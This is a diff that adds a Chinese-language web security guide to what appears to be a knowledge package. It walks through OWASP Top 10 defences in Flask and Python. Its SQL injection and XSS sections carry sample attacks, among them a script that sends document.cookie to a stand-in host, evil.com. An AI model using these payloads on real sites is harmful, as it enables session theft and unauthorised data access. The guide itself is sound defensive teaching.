@umacloud/knowledge 1.0.1

package/development/01-standards/web-security-complete.md

@@ -0,0 +1,292 @@
+---
+id: web-security-complete
+title: Web安全完整指南
+domain: development
+category: 01-standards
+difficulty: intermediate
+tags: [10防护, complete, development, owasp, security, web, 其他安全措施, 学习路径]
+quality_score: 70
+last_updated: 2026-06-15
+---
+# Web安全完整指南
+
+## 概述
+Web安全保护应用免受攻击。本指南覆盖OWASP Top 10、常见攻击防护、安全最佳实践。
+
+## OWASP Top 10防护
+
+### 1. SQL注入
+
+**攻击示例**:
+```sql
+-- 恶意输入
+' OR '1'='1' --
+
+-- 注入后的SQL
+SELECT * FROM users WHERE email = '' OR '1'='1' --'
+```
+
+**防护**:
+```python
+# ❌ 危险
+query = f"SELECT * FROM users WHERE email = '{email}'"
+
+# ✅ 安全: 参数化查询
+cursor.execute("SELECT * FROM users WHERE email = %s", (email,))
+
+# ✅ ORM
+user = User.query.filter_by(email=email).first()
+```
+
+### 2. XSS(跨站脚本)
+
+**攻击示例**:
+```html
+<script>
+  // 窃取cookie
+  fetch('http://evil.com?cookie=' + document.cookie)
+</script>
+```
+
+**防护**:
+```python
+from flask import escape
+
+# ❌ 危险
+return f"<div>{user_input}</div>"
+
+# ✅ 安全: 转义
+return f"<div>{escape(user_input)}</div>"
+
+# ✅ 模板自动转义
+{{ user_input }}  # Jinja2自动转义
+```
+
+### 3. CSRF(跨站请求伪造)
+
+**防护**:
+```python
+from flask_wtf.csrf import CSRFProtect
+
+csrf = CSRFProtect(app)
+
+# 表单
+<form method="POST">
+  <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
+</form>
+
+# AJAX
+headers: {
+  'X-CSRFToken': getCookie('csrf_token')
+}
+```
+
+### 4. 认证失效
+
+**安全实践**:
+```python
+from werkzeug.security import generate_password_hash, check_password_hash
+
+# ✅ 密码哈希
+hashed = generate_password_hash(password)
+
+# ✅ 验证
+if check_password_hash(user.password, password):
+    login_user(user)
+
+# ✅ 强密码策略
+import re
+def validate_password(password):
+    if len(password) < 12:
+        raise ValueError('Password must be at least 12 characters')
+    if not re.search(r'[A-Z]', password):
+        raise ValueError('Password must contain uppercase')
+    if not re.search(r'[a-z]', password):
+        raise ValueError('Password must contain lowercase')
+    if not re.search(r'\d', password):
+        raise ValueError('Password must contain digit')
+```
+
+### 5. 敏感数据暴露
+
+**加密存储**:
+```python
+from cryptography.fernet import Fernet
+
+key = Fernet.generate_key()
+cipher = Fernet(key)
+
+# 加密
+encrypted = cipher.encrypt(data.encode())
+
+# 解密
+decrypted = cipher.decrypt(encrypted).decode()
+```
+
+**HTTPS强制**:
+```python
+from flask_talisman import Talisman
+
+app = Flask(__name__)
+Talisman(app, force_https=True)
+```
+
+### 6. 访问控制失效
+
+**RBAC实现**:
+```python
+from functools import wraps
+
+def require_role(role):
+    def decorator(f):
+        @wraps(f)
+        def decorated_function(*args, **kwargs):
+            if not current_user.has_role(role):
+                abort(403)
+            return f(*args, **kwargs)
+        return decorated_function
+    return decorator
+
+@app.route('/admin')
+@require_role('admin')
+def admin_panel():
+    pass
+```
+
+### 7. 安全配置错误
+
+**检查清单**:
+```python
+# ✅ 禁用调试模式
+DEBUG = False
+
+# ✅ 安全headers
+@app.after_request
+def set_security_headers(response):
+    response.headers['X-Content-Type-Options'] = 'nosniff'
+    response.headers['X-Frame-Options'] = 'DENY'
+    response.headers['X-XSS-Protection'] = '1; mode=block'
+    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
+    return response
+
+# ✅ 隐藏版本信息
+app.config['SERVER_NAME'] = None
+```
+
+### 8. 反序列化漏洞
+
+**安全反序列化**:
+```python
+import json
+
+# ❌ 危险
+import pickle
+data = pickle.loads(untrusted_data)
+
+# ✅ 安全
+data = json.loads(untrusted_data)
+```
+
+### 9. 组件漏洞
+
+**依赖扫描**:
+```bash
+# 检查漏洞
+pip install safety
+safety check
+
+# 更新依赖
+pip install --upgrade package
+```
+
+### 10. 日志与监控不足
+
+**安全日志**:
+```python
+import logging
+
+logging.basicConfig(
+    level=logging.INFO,
+    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
+)
+
+logger = logging.getLogger(__name__)
+
+@app.route('/login', methods=['POST'])
+def login():
+    logger.info(f'Login attempt from {request.remote_addr}')
+    # ...
+```
+
+## 其他安全措施
+
+### 速率限制
+
+```python
+from flask_limiter import Limiter
+
+limiter = Limiter(app, key_func=get_remote_address)
+
+@app.route('/api/login', methods=['POST'])
+@limiter.limit('5 per minute')
+def login():
+    pass
+```
+
+### 输入验证
+
+```python
+from pydantic import BaseModel, EmailStr, validator
+
+class UserCreate(BaseModel):
+    email: EmailStr
+    age: int
+    
+    @validator('age')
+    def validate_age(cls, v):
+        if v < 0 or v > 150:
+            raise ValueError('Invalid age')
+        return v
+```
+
+## 最佳实践
+
+### ✅ DO
+
+1. **使用参数化查询**
+2. **启用HTTPS**
+3. **实施速率限制**
+4. **记录安全事件**
+
+### ❌ DON'T
+
+1. **不要存储明文密码**
+2. **不要信任用户输入**
+3. **不要暴露错误详情**
+
+## 学习路径
+
+### 初级 (1-2周)
+1. OWASP Top 10
+2. 基本防护
+3. 安全配置
+
+### 中级 (2-3周)
+1. 认证授权
+2. 加密技术
+3. 安全测试
+
+### 高级 (2-4周)
+1. 渗透测试
+2. 安全审计
+3. 威胁建模
+
+---
+
+**知识ID**: `web-security-complete`  
+**领域**: development  
+**类型**: standards  
+**难度**: intermediate  
+**质量分**: 95  
+**维护者**: security-team@umadev.com  
+**最后更新**: 2026-03-28